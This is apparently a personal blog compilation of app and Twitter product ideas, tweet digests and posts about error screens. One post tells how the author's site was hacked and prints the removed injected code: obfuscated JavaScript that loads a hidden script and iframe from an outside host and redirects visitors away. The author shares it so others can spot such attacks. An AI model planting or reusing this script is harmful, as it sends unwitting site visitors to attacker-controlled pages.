Sort of duplicating, or triplicating, content here, but the text of an old blog post “IM babble: Lash La Rue, Twitter, Randy Travis and Tramp Stamps“ found its way to becoming an animated video via Xtranormal.

Ah, the “Idea.” Hardly will we find anything more polarizing.

For seemingly half of us, just the word “idea” alone seems to conjure high-mindedness, nobility and is lauded up above so much else. The other half snubs/thumbs their noise at the word and “ideas” hardly even register as a time-waster anymore because they are automatically dismissed, ignored.

Nevertheless, this series of posts are a veritable dump of notions, products, services, improvement and “ideas”. I don’t really want to approach any developers and entrepreneurs I know with any one, all, or any combinations of these. But I also tire of waiting. Blogging them seems a more proper place to toss them out and see if anybody — known or unknown to me — bites.

If interested, I prefer you contact me first before pursuing, but at this point, I want most of what you may read to get on some sort of track that I almost want you to just take them and run.

The following vagaries may undergo many published updates and revisions. The intent is to get them out there. You may scratch your head on some, but hopefully they could lead you, and us, to betterment.

Click below to jump into a slew of stuff. Part 1 concerns Twitter and iPhone/iPod iOS & Apps.

Twitter

• Auto-changing (custom) twitter backgrounds

Skip being stuck with the same old, single Twitter background. And who wants to manually change it all the time. Start a service with a bunch of better, ready-to-go twitter backgrounds; allow users to upload several of their own; and give the option to have your background change every so often at set times.

• Tweet by snail mail — (Printout) postcards

Pictured is an actual paper notepad for sale. But I mean something like similar on a mailable postcard for the elderly, the Internet challenged and the Internet restricted (like Pulp Fiction writer Roger Avery, tweeting from lock-up.) Instead of a joke, a new service — set to receive the snail mail — would get the TweetCards in the mail and post the messages on Twitter.com.

Print designers here you go. TwitCards would likely need a space for one’s Twitter name or desired twitter name. Also a disclosure that the service provider may pick your Twitter username and manage your password.

Bonus: a double use, Netflix-like mailer, with room for a forwarding address to send the TwitCard elsewhere after the message goes on Twitter.com.

Maybe even a simple TwitCard web interface — in case the snail-mailers ever get to a computer with Internet and decide to Twitter the normal way themselves.

• Twitter Tool: Re-following (after they start tweeting again)   [http://twitive.com (or http://twitivity.com) = Twitter plus Active (or Activity)]

This is for all the Twitterers signing up and then pretty much abandoning their account.  This service could allow a different, less harsh way to temporarily unfollow and send a subtile message that they should not expect to get followers if they’re lazy.

The service would send out a can tweet, something like: “@name you’ve been unfollowed by @dipps for inactivity with @twitive. You’ll be automatically refollowed when you start tweeting regular again.”  It would then grab the unfollowed’s twitter RSS feed and monitor it. When their Twitter account became “active” (again), this service would re-follow them for you.

Something similar could be offered for temporarily unfollowing when someone goes overboard during an event, season, etc.  Set a refollow date and the service sends out an explanatory tweet.

This notion is more of a feature to build into an existing Twitter client or Twitter service rather than its own standalone thing.

iPhone/iPod: iOS & Apps

• Getting Flash (video) to work on iPhone

After tapping on broken flash link — instead of nothing — provide an option to watch flash vid that is pushed to you from the Cloud and viewable in iPhone’s Safari’s QT player.

An Apple and/or an open source solution/platform would be developed and made available — to either content providers/hosts; to a 3rd party, intermediary service; from an Apple created and hosted service; or built-into OS X server; etc. — to push converted Flash (video) into something you can watch (in a QT playable format) in Safari on iPhone — like you can now with .MOV files.

This Flash content conversion and pushing it to iPhone would ideally be done simultaneously — and on the fly, as needed — to speed viewing. Also (some) caching, on servers, of completed conversions could maybe help.

Note: Apple’s Gianduia may make this idea null and void, but something like this may be viable until Flash dies.

Note2: Ripcode.com may already do this, but I don’t understand it enough to say yes or no.

Note3: Skyfire and your done?

• iPhone Video podcast improvements

Allow an option to play audio only (to allow multi-tasking and after pressing power button to black-out screen.)  Right now there is now way to multitask while watching video podcasts.  Or even lock the screen and keep the audio playing like with audio podcasts.  Video podcasts are currently all or nothing.

And dump, or fix, the video shuffle button. It does nothing.

2x playback like audio podcasts already have would be nice. Kthx.

• Add ability to keep podcasts updated using only iPhone/iPod

Why not allow podcasts to be updated from the iPhone via Wi-Fi?  You can can already do this manually with the iTunes app, but it seems simple enough to include an automatic update option in Settings >> iPod, or a “Keep this Podcast Updated” link under each podcast in the iPod app, or a “Subscribe” button in the iTunes app, something, instead of just a “Get More Episodes…” link.

Or even just do this by default like iTunes on a computer does.  I do not see the need to hinder this functionality.  It would only update on Wi-Fi and maybe only while on the podcasts tab in the iPod app.

• Un-gray search button on Google search within iPhone’s Safari (when left blank)

Un-gray the “Search” button — the one in the lower right on the Google search bar screen — so pressing it without typing anything will go to Google.com.  This is an easy “fix” and a great way to quickly get to Google.com for the newish “Near me now” & links to other Gstuff/Glinks.

• Use iPhone/iPod as a keyboard/mouse for a regular computer (in a pinch) via USB cable, Wi-Fi or Bluetooth

Recently bought an old flowerpot iMac and found myself without a mouse and keyboard — since I only have a MacBook Pro and iPhone — and I needed to get this old computer ready for my parents.

Well surely an app developer could turn the iPhone’s touch keyboard into a virtual keyboard to use on a regular computer.  Bonus point for turning the touch screen into a trackpad/computer mouse substitute too.

At the very least this app would work for Macs; not sure about how challenging it would be to get it to work on Linux and Windows.

• Auto-disable Wi-Fi discovery while traveling (app)

This popped up while driving on the Interstate

My iPhone already knows I’m moving when I’m using transportation — I see the blue GPS dot moving in the Maps app.  So why can’t it figure out how to keep from endlessly asking to join Wi-Fi networks while driving?

Someone could come up with a code snippet to allow all iPhone/iPod app developers to block this annoyance when using their current apps already in the wild.  (And maybe all those complying would proudly display a badge saying “Traveler Approved App.”

At the least, someone could make an app to auto-disable wi-fi discovery if traveling (over 20 mph).  Call it TravAta or something.  Press the app and it immediately starts disabling wi-fi discovery when moving over 20mph and an option screen comes up to adjust the speed at which Wi-Fi is disabled; option to enable discovery if stationary for a certain amount of time; and option to stop the app after a certain time or when arriving at certain locations.

• iPhone apps that also launch/open computer programs

For example:

1. Boxee.tv‘s iPhone remote control app would also automatically open Boxee on your computer.  The whole idea of the Boxee remote control iPhone app is to control Boxee on your TV.  All of Boxee can now be shut down with its remote control iPhone app (when the app doesn’t crash) but you must go to the computer to start the main Boxee program.  The computer I run boxee on is in an awkward place.  It would be so nice to sit down on the couch to watch TV with Boxee and not have to go over to F with the computer.
2. The iPhone app that allows remote control of iTunes should also open iTunes on the computer at the same time you open it on the iPhone.
3. Any exsisting computer program could also offer a simple iPhone app that when launched on iPhone will also open the main program on your computer.

• iPhone app to download anything — save it all to the cloud to get your downloads from anywhere

Time and time again we come across something on our phone we want to download but can’t.  We need an app that will queue up and start downloading to the cloud anything that can be downloaded: MP3s, torrents, PDFs, documents, web pages, images, etc.  And all of our downloaded stuff becomes instantly accessible from any applicable electronic device.

In other words, Put.io needs an iPhone app.

UPDATE 1: 8/10/10

Additional parts of this post will include Media, Music, Reading, Computing/Internet/Telephony and various Miscellaneous ideas.

• WSJ: 2010 Census won’t contact anyone via online means, including email. Ignore the scams online – even legit looking ones http://tr.im/QfYR #
• And it is an office cavalcade of keyboarding. Hooray! #
• Tailg8.com massive: this new Threadless Tshirt shows what looks a lot like our famed boombox http://bit.ly/bvXJ6b #
• Damn. Old man bent over mail slot he held open peering in too long @ the Post Office today wasn’t an annoying obstacle but a missed photo op #

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Not a good day for me on the Netertubes yesterday.

My twitter account was compromised.  I got in long enough to delete the spam post, tweet an explanation and change my password, but made the mistake of logging out.

I tried to log back in last night and got the screen shot below.  This morning I got the same thing.  I’m trying to think where I may have a 3rd party twitter app open.  Or what the hell may be happening.  Blanking.  I’m still locked out.

Then I discovered a somewhat neglected website of mine also compromised. My site came up and loaded perfectly, but after about a minute, visitors to my site were automatically redirected to a different, unattended website.  Thanks M. Bernier for finding and eradicating the culprit code.  Make the jump if you’d like to lay eyes on the malicious code responsible.

<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′)</script>

I believe people will use this information to help stop worthless bastards like those behind this grief.

• On chilly days like today I can’t wait for 100 degree weather. . . so I too can complain (about crappy weather.) #
• Now hearing: Phish and Jay-Z — “99 Problems”/”Big Pimpin” — Jay-Z guests at a ’04 Brooklyn Phish show. Only a tad odd. http://tr.im/Plm5 #
• FCC may “pay broadcasters 2 vacate airwaves it could use 2 alleviate network strain caused by..surging use of smartphones” http://tr.im/PlMR #
• Can this “Stop Frowning Hipster, Stop Smiling Hippie” hoodie maintain balance? http://www.flickr.com/photos/laughingsquid/4380058486/ #
• 1st Chatroulette, now Catroulette http://catroulette.tumblr.com If Rule 34=porn, Rule#?=internet kitties? Cats R N R intertubes 4 long haul. #
• Expect nothing but hope for the best–all the while preparing for a life-altering, reality-busting course of events (4 if something happens) #
• “Growth for growth’s sake is the ideology of the cancer cell.” — Edward Abbey #
• Weather kills! Al Gore, Global Warming deniers & weather people-meteorologists, civil engineers-start high level talks today to stop weather #
• @kevinckaiser It is actually Dipps©®™ but using all three is overkill . . . nah. It is pure kicks sir. in reply to kevinckaiser #
• Many will go well out of their way to bitch, moan, complain & mock rather than consider, even for a moment, a better way. #rant #
• Hmm (interesting). Someone twitted: ” @dippsi@raveesh ” and it shows up (to me) as an @ reply. #
• Use Gmail & other Google services often? You can now lump them together on one page w/ “Integrated Gmail” a Firefox add-on http://tr.im/PMfx #
• @youngamerican ask Luis Guzman the obvious: the number of leading roles he’d like to play during his career. #
• Got @TrueFalse tix to http://utopiainfourmovements.com & http://www.restrepothemovie.com – 1 US platoon in the Korengal Valley #tf10 #
• Internet service at my workplace isn’t working so everybody left. #metoo #
• What is all this new found fascination with the Olympics? A few years back, if anyone outside the media mentioned them it was to poke fun. #
• http://twitvid.com/EA03F – @nickthune on @comedydeathray talking about his altercation with a fan in CoMO. #
• If you are not blindly embracing, busy forming groups, or the nut getting pissed off by it all, you may not be American. #

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• Found out Key West, FL is slap central. Don’t ask. #
• @jwmb6c Nicely, nicely. Waiting around for any video that will surely be making the rounds soon. in reply to jwmb6c #
• Let us all honor the greatest Prez of them all, Rutherford Birchard Hayes and respect his robust beard on this finest of holidays: PRES DAY. #
• For all those who didn’t think you knew this, but likely do: Parkinson’s Law: “Work expands to fill the time available for its completion.” #
• @kevinckaiser Would like a Book Tweeport on “1,000 Dollars and an Idea” please. Or at least an “I recommend this book” or “ban this book.” #
• Dear Moms, Is there anything else I need to buy or do? #
• Not cross-training anymore. Certainly not jogging. It is called Running and it is serious. #
• Clean smells promote generosity and fair play; dark rooms and sunglasses promote deceit and selfishness http://bit.ly/bodvzp #
• @MGM_Studios is following little ole’ me. Must be my plea for more red band trailers, like the one I twitted about for Hot Tub Time Machine. #
• It’s Feb. Time to check up on those New Year’s Resolutions I just made up last week: 1) Don’t be a dick 2)Talk less about me 3)Ask less ?s #
• @rconc34 Ha. Good point. Not even prize fighters told to take a dive in the 4th round get any instruction on how to go about losing. in reply to rconc34 #
• @bryanhelmig @laughridge The Firefox AutoPager add-on automatically loads the next page when you reach the end of a page http://tr.im/OPVh ? in reply to bryanhelmig #
• Our Pasture Pool Lord will stop all the sexing for the children’s sake. #
• Attn. data/stat junkies & # ppl.: Businesses use http://swivel.com 2 dashboard their metrics & (privately) share reports of charts & numbers #
• Three decks of cards, 125,000 marketing ideas for $69 http://bit.ly/d8xvzx Could be *fun and helpful. #
• Ha. http://shadyurl.com URL “shortening” service turns NearlyaNerd.com into http://5z8.info/fake-gmail-login-page_z4f1r_amazon.com-phish #
• @nhogan411 you’re welcome. AutoPager is great for quick SERPing (+ many other Google flavors) especially for scrolling beyond 3-4 pages. in reply to nhogan411 #
• When people tell you something’s wrong, they are almost always right. When they tell you exactly how to fix it they are almost always wrong. #
• Last twit sort of paraphrases Neil Gaiman from The Guardian article “Ten Rules for Writing Fiction” http://tr.im/P5Yb [This link now works] #

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• http://twitpic.com/1267y9 – Hot damn! Schnucks’ “Deli” sells potato pancakes for $0.99 each #
• if the SOCIAL BARRIER [2 foreclosure] crumbles, there’s no telling what it could do 2 an already weakened financial sector http://tr.im/NtK2 #
• Time for Web giants to snatch up great services like @tweepi @twiangulate et al & build them into their ultimate Twitter client/application? #
• There is now http://buzz.google.com , yes. #
• Attn MacBook-ers: Freeware app from http://bashflash.com lets you know when Flash is hogging so you can easily stop it & use way less power. #
• Excluding bulk and looks, today’s $40, 3 in 1 Workstation Notebook Case from http://woot.com is perfect. #
• Live to help. Help to live. #
• Ever get a wild hair 2 do something crazy like walk up 2 the next foreigner you see, find out where they hail from & go there w/ or w/o them #
• Wanted so bad to tout CenturyLink over MediaCom. Now I can not. Dare I say: Google Internet can’t get here soon enough http://ow.ly/166JU #
• @natebro please grab another iPhone and twitpic the mini projecter set up… A little jealousy is starting to set in. #
• Slumburbia http://opinionator.blogs.nytimes.com/2010/02/10/slumburbia/ #
• Nominate your community for Google fiber and get better Internets! http://tr.im/NUTn h/t @bryanhelmig @severeon #
• Told someone – who’s also ditched RSS feed readers – I’d share my embloggery on occasion http://nearlyanerd.com Move along nothing 2 C here. #
• Email is quickly becoming the cock-blocking bane of all human existence. #
• Dear Men’s Jeans and Pants makers, please make more 33/33 lower body clothings. #
• @artitumis That is one of the finer compliments I’ve ever got. I wish I could say the same to you. in reply to artitumis #

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Happened when checking someone’s followers the other day, soon after Twitter updated their new mobile site at http://mobile.twitter.com (only looks different from twitter.com on mobile devices natch.) For you search engines out there, it reads:

Something is technically wrong.

Thanks for noticing — we’re going to fix it up and have things back to normal soon.

If you are going to visit http://www.ptsd.va.gov for some reason, don’t type a period after the “gov” or you’ll get something like the above.  It reads:

The requested URL was rejected.

Please contact the VA Network and Security Operations Center at 1-800-877-4328 or email VANSOC@va.gov, if you feel this is in error.

Your support ID is: xxxxBlahBlahNumberNumberNumbersRemovedBlahBlahxxxxxx

Appliance name: also removed

This happened when trying to do too much with YouTube within an iPhone twitter app

Nate Broughton is right.  Infographics on the interwebs are now ubiquitous. Here’s a recent favorite from GigaOm concerning the economy of iPhone applications: